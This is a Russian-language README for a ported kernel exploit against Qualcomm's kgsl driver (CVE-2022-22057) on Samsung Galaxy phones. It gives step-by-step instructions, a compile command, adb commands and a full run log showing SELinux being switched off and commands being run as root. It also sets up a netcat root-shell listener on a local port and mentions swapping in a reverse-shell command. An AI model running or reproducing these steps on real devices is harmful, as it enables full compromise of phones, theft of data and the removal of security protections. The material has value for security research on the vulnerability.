
Эксплойт драйвера kgsl от Qualcomm (CVE-2022-22057) для устройств Samsung Galaxy, обеспечивающий произвольное чтение/запись памяти ядра, обход SELinux и временный доступ root через состояние гонки.
Моя адаптация для SM-F926U из оригинального эксплойта здесь
Огромное спасибо m-y-mo за обнаружение эксплойта и его невероятное терпение ко всем моим вопросам по портированию на SM-F926U и приведению его в рабочее состояние
Я добавил демон запуска (libtimeline.so) на основе кода из Shizuku
Добавил грязный трюк, чтобы временное рут-решение было стабильным (см. ниже)
Отказ от ответственности: Я не несу ответственности за уничтоженные устройства, потерянные данные, украденные данные, безопасность устройства
Отказ от ответственности 2: Я не разработчик, скорее профессиональный экспериментатор. Я могу попытаться помочь вам, если у вас возникнут проблемы, но я могу больше никогда не заглядывать в эту тему, действуйте на свой страх и риск
Требования:
Инструкции:
/data/local/tmp/timeline напрямую, так как вы сможете увидеть, работает ли эксплойт или завис (см. предостережения ниже)/data/local/tmp/libtimeline.sonetcat 127.0.0.1 6969 в сессии adbid, и он покажет ваши рутовые учетные данныеecho 'YOUR COMMAND' | netcat 127.0.0.1 6969Дополнительные предостережения:
top, что timeline использует около 100% процессора. Я не уверен, является ли это легитимным или нет. На самом деле он просто находится в состоянии while(1), чтобы предотвратить его закрытие и крах устройства, поэтому я не нашел, что вызывает высокую загрузку процессора или это ложное срабатываниеОписание можно найти здесь. Это ошибка в драйвере Qualcomm kgsl, которую я сообщил в ноябре 2021 года. Ошибка может быть использована для получения произвольного чтения и записи памяти ядра из домена ненадежных приложений, что затем используется для отключения SELinux и получения рута.
Эксплойт протестирован на Samsung Galaxy Z Flip 3 (европейская версия SM-F711B) с версией прошивки F711BXXS2BUL6, Baseband F711BXXU2BUL4 и версией ядра 5.4.86-qgki-23063627-abF711BXXS2BUL6 (регион EUX). Смещения в эксплойте относятся к этой версии прошивки. Помимо обычных смещений в образе ядра, различные адреса пулов памяти ion в ion_utils.c также зависят от прошивки. Для справки, я использовал следующую команду для компиляции с помощью clang в ndk-21:
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -O2 timeline_wait.c sendmsg_spray.c signalfd_spray.c cpu_utils.c ion_utils.c fake_obj_util.c work_queue_utils.c -o timeline
Эксплойт достаточно надежен (~70% на протестированном устройстве), хотя ему нужно подождать несколько минут после запуска перед выполнением, так как в первые минуты после загрузки происходит слишком много сломанных/неудачных вызовов binder. (Не совсем уверен, проблема ли это Qualcomm или Samsung).
Для тестирования скомпилируйте файл кросс-компиляцией, а затем выполните с помощью adb:
adb push timeline /data/local/tmp
adb shell
b2q:/ $ /data/local/tmp/timeline
Если успешно, он отключит SELinux и выполнит команду id от рута, записав результат в файл /data/local/tmp/id.txt:
b2q:/ $ /data/local/tmp/timeline
heap_id_mask 40
ion region 0x75a0ccf000
region start addr: ffffff8071800000
fence kernel addr: ffffff8071fe0040 192
created fake slab at ffffff8071840100
[+] reallocation data initialized!
[ ] initializing reallocation threads, please wait...
[+] 40 reallocation threads ready!
timeline_wait start
readpipe start
destroy start
readpipe
Caught signal: 10
wait complete -1
readpipe finished
destroy finished
cb_list ffffffc02d943bf8 temp ffffffc02d943c48
mask 52424242 60
cpu_id 0
interval number 1
mask 7f8e7bfeff 7
thread number 0 7 20014
thread batch number 0
new mask 7f8e7bfeff ffffff8071840100
region_offset 40100
sprayed 1024 ion buffer
start searching for buffer
Found 7 ion regions
heap_ops ffffffc012e17180, kernel base: a00b8000
set enforcing to permissive
[+] successfully overwritten selinux_enforcing
wq_ptr_addr: ffffffc012dc2518
wq_addr: ffffff81f4cf1200
pwq_addr ffffff81e24ea100
pool_addr ffffff805ff7c000
worklist ffffff805ff7c020 ffffff805ff7c020
queue work
max_active 256 nr_active 0
queuing work, waiting to aquire spin lock
work_queued
work processed
complete 0
ret 0
nr_active 0
worklist ffffff805ff7c020
work next ffffff8071842c08
[+] successfully run command and added id.txt in /data/local/tmp
finished queue work
freeing ion dma fd
finished freeing ion dma fd
finished spraying
finished
После вывода wait complete -1 следует длительная пауза, которая должна быть менее минуты, это нормально. Иногда также может потребоваться некоторое время для постановки работы в очередь (после вывода queuing work, waiting to aquire spin lock может пройти пара минут, просто нужно набраться терпения, хотя это нечасто). Эксплойт обычно завершается за пару минут.
Файл /data/local/tmp/id.txt должен подтвердить, что команда была выполнена от рута:
b2q:/ $ cat /data/local/tmp/id.txt
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
Другую команду можно указать, изменив переменную cmd в setup_sub_info в work_queue_utils.c. (Например, для получения обратной рутовой оболочки).